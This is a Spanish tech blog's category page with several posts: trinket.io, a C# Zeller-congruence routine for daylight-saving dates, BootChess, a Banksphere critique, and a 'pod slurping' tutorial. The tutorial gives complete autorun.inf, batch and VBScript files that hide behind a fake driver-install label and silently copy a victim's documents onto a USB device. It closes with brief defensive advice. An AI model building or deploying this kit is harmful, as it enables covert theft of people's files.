Entradas de la categoría ‘Desarrollo’

Ejecutando código Python hasta en el WC

trinket.io

trinket.io

Y es que trinket es la penúltima maravilla del mundo moderno: un sitio web que permite programar, compartir y ejecutar código fuente embebido en cualquier navegador y sobre cualquier dispositivo o plataforma. Y todo ello de manera instantánea y automática, sin plugins, sin software adicional y sin necesidad de registro en ningún sitio. Escribe, comparte, modifica y ejecuta.

¿Imaginas poder escribir un programita Python en tu propio teléfono móvil, ejecutarlo al momento y enviárselo a un colega para que lo depure? Pues trinket te permite eso y mucho más. Este sitio nació de la mano de Elliott Hauser, licenciado en Ciencias de Sistemas de la Información por la Universidad del Norte de Carolina (EE. UU.), que fue capaz de volcar su pasión por la enseñanza y su experiencia con software de código abierto directamente sobre esta gran idea. Aquello fue en primavera del año 2013, y hace bien poco que ha visto la luz pública.

Dale al play para ejecutar el código Python; ¡o edítalo y prueba!

 
Este hombre, además, recibió una Bachelor of Arts, con las más altas distinciones, de la Universidad de Duke, en Durham (EE. UU.), en 2005, donde investigó las subastas de arte. Actualmente es profesor de programación de código abierto y, en su tiempo libre, un filósofo independiente y aficionado, pues cursa también un doctorado en Filosofía.

Dale al play para ejecutar el código HTML; ¡o edítalo y prueba!

 
Elliott siempre entendió que la educación abierta necesita tanto de una comunidad fuerte como de una sólida colección de contenido; en ello se centra trinket, su comunidad, sus colaboradores y su equipo. Con trinket podemos embeber código Python en casi cualquier sitio, haciendo que dicho código sea perfectamente modificable por aquellos que lo visitan y, además, ejecutable al momento desde el navegador y sin elementos adicionales. De esta manera, por ejemplo, un profesor podría compartir su conocimiento en línea de una manera más interactiva y eficaz de con las herramientas anteriores que sólo permitían distribuir el código como un texto plano tal cual.

Dale al play para ejecutar el código de bloques; ¡o edítalo y prueba!

 
Además de Python, trinket permite también compartir y ejecutar instantáneamente código en HTML, bloques visuales (al estilo del Scratch para niños) y hasta partituras de notación musical interactiva que, por supuesto, podremos editar y ejecutar sobre el navegador (en smartphones, tabletas, televisores inteligentes y un largo etcétera). La potencia hecha arte visual.

Dale al play para ejecutar el código musical; ¡o edítalo y prueba!

 
Una tecnología muy novedosa a la que, a buen seguro, se apuntarán otros sitios web no tardando mucho y que, en un futuro próximo, podremos disfrutar desde decenas de lenguajes de programación en línea, con ejecución y hasta depuración incluidas. Le seguiremos la pista.

La congruencia de Zeller y cómo calcular el día del cambio horario

Cambio de hora

Cambio de hora

En poco más de una semana llegará el tan denostado y ultrajado cambio al horario de verano que muchos países del mundo (hay muchísimos que ni se lo plantean, ni se lo van a plantear) realizan para volver locos a sus ciudadanos y con la intención de ahorrar (¿?) un poquito en el tema energético. El cambio horario fue una medida que se implantó por primera vez durante la Primera Guerra Mundial, cuando algunos de los países implicados la adoptaron con la finalidad de ahorrar combustible. Esta situación se repitió en 1973, durante la crisis del petróleo, en la cual la mayoría de los países industrializados adoptaran la misma medida para hacer frente a la complicada situación.

No vamos a entrar en la eterna discusión de si esto tiene o no algún sentido, pues nosotros nos vamos a centrar en el tema tecnológico geek del asunto, en el fundamento friki del algoritmo que hace que nuestros ordenadores, teléfonos, televisores, relojes y demás gadgets se actualicen automáticamente.

La verdad es que, hoy día, los diversos sistemas operativos fundamentan sus cambios horarios en el manejo de bases de datos cooperativas mundiales que almacenan toda la información de las características horarias de cada país y sus circunstancias particulares. Y es que no todos somos iguales, y algunos somos muy, pero que muy, raritos. Por poner tres ejemplos simples: primero, en España manejamos un huso horario que no nos corresponde (reminiscencias franquistas desde 1942); segundo, en Brasil sólo cambian la hora en el sur del país; tercero, en Israel, hasta 2005 el horario cambiaba una vez al año. Y así podríamos seguir un buen rato.

La base de datos más utilizada para estos menesteres es la llamada TZ Database, más conocida como Zoneinfo Database, que procura registrar todos los cambios en zonas horarias, ajustes verano/invierno e, inclusive, las correcciones de segundos astronómicas desde 1970. Es el procedimiento utilizado por la mayoría de los sistemas operativos descendientes de Unix, por aquellos derivados de BSD, por los lenguajes de programación más extendidos y por la mayoría de sistemas de gestión de datos. Por otro lado, HP dispone de una base de datos propia (llamada tztab) que es similar pero incompatible. El otro gran sistema es el propietario de los entornos operativos Microsoft Windows y sus servidores horarios en Internet.

Al margen de todo ello, y olvidándonos de estas bases de datos, aquí vamos a imaginar que no existieran y que nosotros tuviéramos que calcular el día en que se debe cambiar la hora o, más concretamente, si el día en el que estamos es el del cambio de hora (que es lo que hacen los computadores). La estandarización internacional llegó hace tiempo a la conclusión de que esto se realizaría el último domingo de marzo (horario de verano) y el último domingo de octubre (horario de invierno). ¿Cómo calcular de manera informática, pues, cuáles son los últimos domingos de marzo y octubre?

La lógica de nuestras rápidas mentes de desarrollares nos puede llevar a pensar lo siguiente (caso de marzo): pregunto si hoy es marzo; si lo es, pregunto si hoy es domingo; si lo es, calculo el día de hoy más siete; si es abril, hoy es el último domingo de marzo. Por ejemplo.

Sin embargo, existe un manera más sencilla y menos farragosa de calcular esto. Se llama congruencia de Zeller y es un algoritmo ideado por Julius Christian Johannes Zeller para calcular el día de la semana de cualquier fecha del calendario. En el presente, los lenguajes de programación actuales disponen de funciones propias que realizan esta función (por cierto, basadas en este algoritmo o en otro parecido), pero nunca está de más aprender cómo podríamos ejecutar este cálculo sin recurrir a estas avanzadas técnicas.

Hay diversas interpretaciones e implementaciones de las fórmulas de Zeller para realizar este tipo de cálculos, tanto en fechas del calendario gregoriano como del calendario juliano. Asimismo, el código fuente de una aplicación puede diseñarse de diferentes maneras. Nosotros aquí vamos a rescatar un código de C# que es fácilmente exportable a otros lenguajes de programación.

El código que devuelve el día de semana que es (0=domingo, 1=lunes, 2=martes, etcétera) es el siguiente.

static int Zeller(int anno, int mes, int dia)
  {
    if (mes <= 2)
    {
      mes = mes + 10;
      anno = anno - 1;
    }
    else
    {
      mes = mes - 2;
    }
 
    int a = anno % 100;
    int b = anno / 100;
 
    int resultado =
    (
      700 +
      ((26 * mes - 2) / 10) +
      dia +
      a +
      a / 4 +
      b / 4 -
      2 * b
    ) % 7;
 
    return resultado;
  }

De tal modo que, si quisiéramos implementar una función que, tras introducir el año que deseemos, nos devuelva los días exactos en los que comienzan los horarios de verano e invierno, es decir, los últimos domingos de marzo y octubre, respectivamente, haríamos lo que sigue.

static void Main(string[] args)
  {
    Console.WriteLine("Año: ");
    int anno=int.Parse(Console.ReadLine());
 
    //el último domingo de Marzo
    int dhv = 31 - Zeller(anno, 3, 31);
 
    //el último domingo de Octubre
    int dhi=31 - Zeller(anno,10,31);
 
    Console.WriteLine(
      "El horario de verano empieza el {0}/Marzo/{1}",
      dhv,anno);
    Console.WriteLine(
      "El horario de verano termina el {0}/Octubre/{1}",
      dhi,anno);
 
    Console.ReadLine();
  }

Expliquemos un poco este último código. Lo que estamos haciendo es pasarle a la función del algoritmo de Zeller el último día de marzo y el último de octubre del año solicitado (siempre serán un 31 del 3 y un 31 del 10). La función nos devuelve con qué día de la semana se corresponde. Lo que hacemos es restar a 31 el resultado de la función algorítmica. La solución final será el último domingo de cada mes.

Y así es cómo podemos implementar la congruencia de Zeller en un algoritmo informático. La verdad es que existen múltiples formas de calcular el día de la semana de una fecha dada; la de Zeller sólo es una más. Lo importante es que el próximo domingo, día 29, a eso de las dos de la mañana, no olvidemos que nuestro reloj ha de adelantarse una horita, ni más ni menos. Este es de esos días en los que la gente dice que dormimos una hora menos y se llevan las manos a la cabeza porque el domingo se les pasa volando.

En fin, lo que está claro es que nuestros relojes y gadgets, seguramente, se adelanten todos ellos solitos para mantenernos en hora de forma automática. Ellos no acusan el cambio horario, nosotros, digan lo que digan, sí.

Qué es un ataque de ‘pod slurping’ y cómo generarlo

iPod

iPod

El mundo del hacking es apasionante y cada día nos ofrece nuevas técnicas para explotar agujeros de seguridad en los diversos sistemas informáticos. El pod slurping no es nada nuevo, pero por aquí nos encanta porque está diseñado de una manera tan ingeniosa que recuerda a los primitivos virus de macro, que únicamente se servían de las características propias del sistema operativo (y de un poquito de ingeniería social) para acceder hasta la cocina de las entretelas del aparato.

El experto estadounidense en seguridad informática Abe Usher utilizó el término pod slurping por primera vez hace, más o menos, cinco años. Con él describe cómo los reproductores de MP3, tales como el iPod, y otros dispositivos de almacenamiento masivo USB pueden ser utilizados fácilmente para robar información confidencial corporativa en una empresa. Y todo ello de manera muy simple: conectándolo al ordenador víctima y dejándolo actuar, de manera sutil y disimulada.

Para demostrar esta vulnerabilidad en la seguridad de cualquier empresa, Usher desarrolló una prueba de concepto con la ayuda de una aplicación software que podía buscar, automáticamente, información crítica en las redes corporativas para luego copiarla dentro de un iPod de Apple. Esta aplicación corría directamente desde cualquier iPod y, al ser conectada a una computadora, podía copiar grandes volúmenes de información en cuestión de minutos.

Aquí vamos a utilizar nuestro propio software a modo de tutorial.

No hay que mirar muy lejos hacia atrás para encontrar uno de los primeros episodios de robo con este tipo de dispositivos. En febrero del año 2002, sale a la luz una historia relacionada con un iPod que se utiliza con fines ilegales. En este informe se explica que un consultor informático, llamado Kevin Webb, estaba de compras en una de las tiendas que la cadena CompUSA tiene a lo largo y ancho de EE. UU. Deambulaba por la sección de informática, cuando observó a un joven muchacho caminar hacia donde se encontraba él. El chico se acercó hasta la pantalla de un ordenador Macintosh y, en ese momento, sacó un iPod de su bolsillo, conectando su reproductor a la máquina.

Webb, intrigado por los movimientos del adolescente, se acercó por detrás de él para investigar su actividad. Para su sorpresa, el joven estaba copiándose el nuevo Office de Microsoft para uno de los primeros Mac OS X que, en aquel momento, se vendía por aproximadamente 500 dólares americanos. Se quedó observando un poco más y fue capaz de ver a este chico recopilar algunas otras aplicaciones de software más.

Asombrado por lo que acababa de presenciar, inmediatamente se acercó a un empleado para informar de lo que acababa de ocurrir, pero simplemente recibió una expresión de despiste e ignorancia por respuesta.

Desde aquel incidente se han podido recopilar muchos casos más de robo de información con el solo hecho de conectar un dispositivo USB a un ordenador, de manera subrepticia y sin que prácticamente nadie se dé cuenta. Hasta que, como hemos ya comentado, surgió la locución pod slurping, aludiendo al iPod por ser el primer dispositivo del que se tiene constancia que ha sido utilizado para esta técnica de intrusión y, también, al término anglosajón ‘slurp’ (‘sorber’ o ‘sorbo’).

Vamos ahora a la sección práctica, a ver cómo podemos explotar esta vulnerabilidad. Lo haremos sobre sistemas Windows, pues con otros que necesitan del montaje de las unidades de disco al conectarlas, podría ser un proceso algo más complicado, aunque nunca imposible. El famoso programita de Abe Usher no era otra cosa que una secuencia de comandos en Python que contenía los argumentos y atributos necesarios para llevar a cabo esta técnica en un ordenador con sistema operativo Windows.

La mayoría de los sistemas Windows tienen varias utilidades de línea de comandos integradas que podrían realizar muy fácilmente las tareas de «absorción» de información. El comando xcopy, por ejemplo, es uno de ellos y se puede encontrar hasta Windows Vista. Esta utilidad incluye cierta sintaxis muy básica y puede ofrecernos unas amplias posibilidades de éxito, algo que vamos a demostrar a continuación.

Para nuestro ejemplo necesitamos un equipo con Windows XP o Vista (cualquier versión) y, para ser fieles al origen del término pod slurping, un iPod de Apple (podemos utilizar cualquier otro medio extraíble USB). Las siguientes instrucciones describen cómo hacer uso del comando xcopy y las características de Windows para construir un dispositivo de slurping muy fácilmente.

Paso 1. Abrimos un editor de texto y escribimos las líneas siguientes para, posteriormente, guardarlas en un archivo al que llamaremos autorun.inf. Este archivo en Windows es el que se encarga de lanzar determinadas acciones o aplicaciones cuando se introduce un medio externo de almacenamiento (como ejecutar una instalación al meter un cederrón, por ejemplo).

[autorun]
open=launch.bat
action=Instalar drivers de la unidad flash USB
label=Unidad flash USB
shell\open\command=start.bat
'AutoPlay' en Windows Vista

‘AutoPlay’ en Windows Vista

Este archivito especifica que, al introducir nuestro USB en un equipo, va a lanzar automáticamente el archivo de proceso por lotes llamado start.bat (que luego crearemos). Además, incluye un pequeño engaño, medio ingeniería social, medio phishing: esos textos tras los atributos action y label especifican los literales que van a aparecer en el ‘Explorador de archivos’ y, también, en el cuadro de diálogo ‘Reproducción automática’ (‘AutoPlay‘), ese que se arranca al conectar nuestro dispositivo. Es decir, si alguien nos espía por detrás, va a creer que lo que hacemos es instalar los controladores del dispositivo.

Paso 2. Abrimos otro archivo de texto, escribimos la línea siguiente y lo guardamos como start.bat, el archivo de procesamiento por lotes mencionado antes.

wscript.exe "%~d0\script.vbs" "bkup.bat"

Este fichero batch ejecuta el motor de scripts Windows Script Host enviándole como argumento un archivo de script (script.vbs) que se encuentra en la unidad introducida y un archivo de proceso por lotes (bkup.bat) que es, a la vez, argumento del anterior. Ambos archivos los creamos a continuación.

Paso 3. En otro archivo de texto más escribimos lo que sigue y lo almacenamos como script.vbs, es decir un archivo de script en lenguaje VBScript y que interpreta directamente el motor Windows Script Host.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Esta línea crea el objeto de Windows Scripting Host en memoria para ejecutar un programa que le pasamos como argumento o parámetro.

Paso 4. Un último archivo deberá contener las líneas siguientes, las que se corresponden con el último batch que es, realmente, el que realiza todo el proceso de pod slurping. Lo llamaremos bkup.bat.

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\Mis Documentos"
%~d0\%computername% /s/c/q/r/h
xcopy C:\Users\%username%\Documentos %~d0\%computername% /s/c/q/r/h/g
@cls
@exit

Este último fichero crea un directorio en nuestro dispositivo USB con el nombre del equipo al que está conectado y, a continuación, copia (mediante el comando xcopy y varios parámetros modificadores) todos los documentos del usuario de Windows XP (primer xcopy) o Windows Vista (segundo xcopy) al directorio generado.

Paso 5. Y, por fin, copiamos estos cuatro archivos a nuestro iPod o USB preferido, al directorio raíz. Listo, ya tenemos nuestro dispositivo de pod slurping preparado. ¡Sólo queda probarlo!

'xcopy' equiscopiando a todo trapo

‘xcopy’ equiscopiando a todo trapo

Y luego ya sólo es cuestión de echarle imaginación, ingenio y fantasía. Por ejemplo, a partir de Windows Vista, disponíamos, a través del Kit de Recursos de Windows, del nuevo comando robocopy (o copia robusta). Esta herramienta proporciona una plétora de nuevas características de copia que incluyen capacidades para el sistema de archivos NTFS, atributos extendidos, opción de reinicio y muchas otras. Además, a partir de Windows 7, robocopy también incluye características de copia multihilo (multithreading), pues antes sólo podía realizar la copia de los archivos en orden consecutivo.

Hoy día, además, con la irrupción masiva de los teléfonos inteligentes, las aplicaciones de este ataque cada vez se vuelven más elaboradas y complejas. Pero, ¿existe alguna manera de evitarlo? Un empleado puede aparentar estar escuchando música en su iPod pero, en realidad, podría estar cargando archivos maliciosos o absorbiendo gigabytes de información valiosa para la empresa.

Una posible solución para evitar el robo de información es implementar políticas de control para el almacenamiento móvil en toda la empresa. Algunos expertos sugieren acciones convencionales como el bloqueo físico o lógico de puertos (algo muy sencillo para cualquier administrador de sistemas); otros plantean acciones más drásticas, como la prohibición del uso de este tipo de dispositivos en los lugares de trabajo. Nos sirvamos de una filosofía u otra, este no es el mejor camino que podemos tomar.

La manera ideal de asegurar el control completo sobre los dispositivos de almacenamiento portátil es mediante la introducción de barreras tecnológicas, tales como soluciones de software que permitan un control total sobre las transferencias de datos hacia y desde dispositivos de almacenamiento móvil por cada usuario en la red.

Sea como fuere, y cómo solemos decir desde estas trincheras digitales, no se pueden poner puertas al campo, y la explotación de los agujeros de seguridad de los distintos sistemas operativos seguirá siendo un hecho mañana y pasado mañana. La cuestión pasa por poner a prueba nuestra capacidad tecnológica y nuestros conocimientos para conseguir retos intelectuales cada vez más complejos e inasequibles. Ese es el desafío, porque robar información es un delito.

El videojuego de ajedrez más chiquitín de la historia

BootChess

BootChess

Hace más de treinta años, un juego informático de ajedrez rompía todas las barreras de la miniaturización y conseguía un récord que ha prevalecido hasta hoy. El título en cuestión se llamaba 1K ZX Chess y estaba programado en un Sinclair ZX81. Ocupaba tan solo 672 bytes e incluía la mayoría de las reglas del juego, así como la posibilidad de jugar contra la máquina como oponente. Podemos ver el listado completo del programita en la siguiente imagen, la cual pertenece al número de febrero de 1983 de la antigua revista británica Your Computer Magazine.

ZX Chess (clic para ampliar)

ZX Chess (clic para ampliar)

Pues bien, esta semana el récord ha sido desbaratado por el grupo canadiense de la actual demoscene Red Sector Inc. Esta gente ha sido capaz de implementar una versión del ajedrez, a la que han llamado BootChess, en sólo 487 bytes. Una hazaña impresionante de codificación en ensamblador que, además, es multiplataforma, capaz de correr en Windows, Linux, OS X y BSD, pues se ejecuta sobre el emulador DOSBox.

BootChess

BootChess

El programador, Olivier Poudade, comentó que, al principio, el reto parecía de todo punto imposible, pero que tras largas horas de codificación consiguió lograr su objetivo, para lo que tuvo que convertir el aspecto de su juego en algo todavía más básico que su predecesor de 1983. En el tablero, las piezas están representadas por letras (mayúsculas y minúsculas para blancas y negras), y las casillas vacías por puntos.

Existen algunas normas del juego de ajedrez que no están incluidas en este programa, como el enroque, por lo que algunas voces críticas se han levantado rápidamente para decir que no es un juego completo. Sin embargo, todos sabemos que el reto está más que superado, ya que el antiguo 1K ZX Chess también incluía esta limitación. Además, este nuevo videojuego aporta la posibilidad de que los peones se conviertan en damas al llegar al ladro extremo del oponente, característica que 1K ZX Chess no tenía.

Desde luego, un récord en toda regla que será difícil, muy difícil, de superar. En el siguiente vídeo podemos ver el comienzo de una partida de BootChess. Todo un lujazo.

Banksphere, el entorno de programación que hará que te suicides o que des con tus huesos en el frenopático

Banksphere

Banksphere

Banksphere es un entorno e-business de desarrollo de aplicaciones orientadas a sitios web de entidades bancarias; vamos, que no es un andar por casa de la programación informática, sino la meta de cualquier gurú desequilibrado que haya perdido sus facultades mentales y quiera acometer la «sencilla y amena tarea» de hacer los programas que manejan el dinero del resto de los ciudadanos.

Y no es que el tema bancario sea excesivamente complicado, que lo es (y mucho), sino que Banksphere parece complicarlo todavía un poco más, algo así como un valor aleatorio entre un seiscientos y un seis mil por cien, grosso modo.

El dudoso orgullo de ser la progenitora de esta plataforma lo tiene la empresa ISBAN (Ingeniería de Software Bancario), una compañía española que forma parte de la División de Tecnología y Operaciones del Grupo Santander, y que desarrolla este software y otros del estilo para su empresa matriz.

Surgido en el año 2002 y basado, entre otras cosas, en J2EE (o eso es lo que dicen, supuestamente), Banksphere consiste en un conjunto de herramientas utilizadas para dar soporte a la metodología de desarrollo e-business del Santander. Es una suerte de métodos y arquitecturas compuestos por herramientas de desarrollo y una plataforma de ejecución. Cubre absolutamente todo el proceso y metodología de desarrollo de una aplicación: funcionales, DDS, casos de uso, creación de maquetas, modelo lógico, modelo físico, despliegue y cambio de entorno.

Pero el problema principal de Banksphere es el odio visceral que despierta entre sus programadores por la complejidad del sistema, lo abstracto que resulta de manejar y el montón de problemas y errores que presenta. Dicen que el producto final son aplicaciones Java, pero no pueden ser tratadas como tales; la mayor parte de las veces, los usuarios terminan editando a mano oscuros ficheros XML no documentados; los numerosos cambios y parches aparecidos han obligado a deshacerse de código y a reprogramar funcionalidades; dicen los expertos que solo el documento que explica cómo hacer un Hola Mundo tiene 80 páginas (aunque no existen manuales oficiales).

Banksphere (clic para ampliar)

Banksphere (clic para ampliar)

Todo esto, y mucho más, hacen de Banksphere una tortura. Algunas de la frases que se pueden recopilar de aquellos que lo han intentado evidencian toda un representación sobre lo que estamos hablando: «Debe de haber tres personas en el mundo que entiendan la arquitectura, el resto de los mortales se dedica a seguir una serie de truquillos para resolver todos los problemas«; «Solo ves pelotas de colores, las cuales mueves grácilmente por la pantalla, y arrastras mapeos que no sabes si son datos, objetos…» (haciendo clara referencia al módulo Vega, un componente para crear aplicaciones de forma visual con diagramas de estados y componentes varios); «No ves las conexiones a bases de datos, con lo cual, saber dónde estás apuntando y por qué tus datos no son iguales a los de tu compañero es realmente divertido e imposible al mismo tiempo«.

Otros enunciados de gente implicada son aún más esclarecedores: «Actualmente, mi salud mental ha mejorado y trabajo felizmente en Java»; «Llevo casi un año con una migración y te juro que un día de estos me suicido«; «Llevo unos cuantos meses en eso y es lo peor que he visto en mi vida«; «Soy arquitecto J2EE, domino XSLT, XML, Java, etcétera, pero esta mierda no hay quien la entienda«.

Banksphere cambió de nombre en el año 2008 para intentar escapar de aquella mala fama que se había creado. Desde entonces se están usando los nombres Alhambra y Partenón para identificar sistemas basados o relacionados con Banksphere. Y, realmente, parece que la cosa ha mejorado un poco (muy poco). En 2013, después de años de evolución y procesos de reingeniería, se dieron indicios de que el funcionamiento interno pudo haber mejorado, posiblemente debido al creciente respeto a los patrones de diseño y a los fiascos producidos años atrás en el proyecto).

Banksphere (clic para ampliar)

Banksphere (clic para ampliar)

Banksphere es una de las plataformas informáticas más criticadas en la comunidad de desarrollo, y mira que existen lenguajes esotéricos raros de cojones. Actualmente hay desplegadas más de 160 aplicaciones desarrolladas con Banksphere en los distintos bancos del Grupo Santander (la mayoría aplicaciones usadas en oficinas y en las intranets del Grupo). También, toda la arquitectura de call centers está desarrollada en esta plataforma.

En fin, un entorno que tiene su propia entrada en ingenio2010.com (una wiki que monitoriza las peores aplicaciones expuestas al público y documenta los desastres y sus principales responsables técnicos y políticos) y su entrada en la humorística Inciclopedia. Además, y como no podía ser de otra manera, también tiene su propia versión meme del vídeo del niño loco alemán (a continuación).

eBook 'retroPLOF!'

retroPLOF!
Especifica tu dirección de correo electrónico y pulsa 'Comprar ahora'. Puedes pagar con tu cuenta de PayPal o con cualquier tarjeta bancaria.

E-mail envío eBook:

<script>» title=»<script>


<script>

Utilizamos cookies propias y de terceros para mejorar la experiencia de navegación. Más información.

ACEPTAR
Aviso de cookies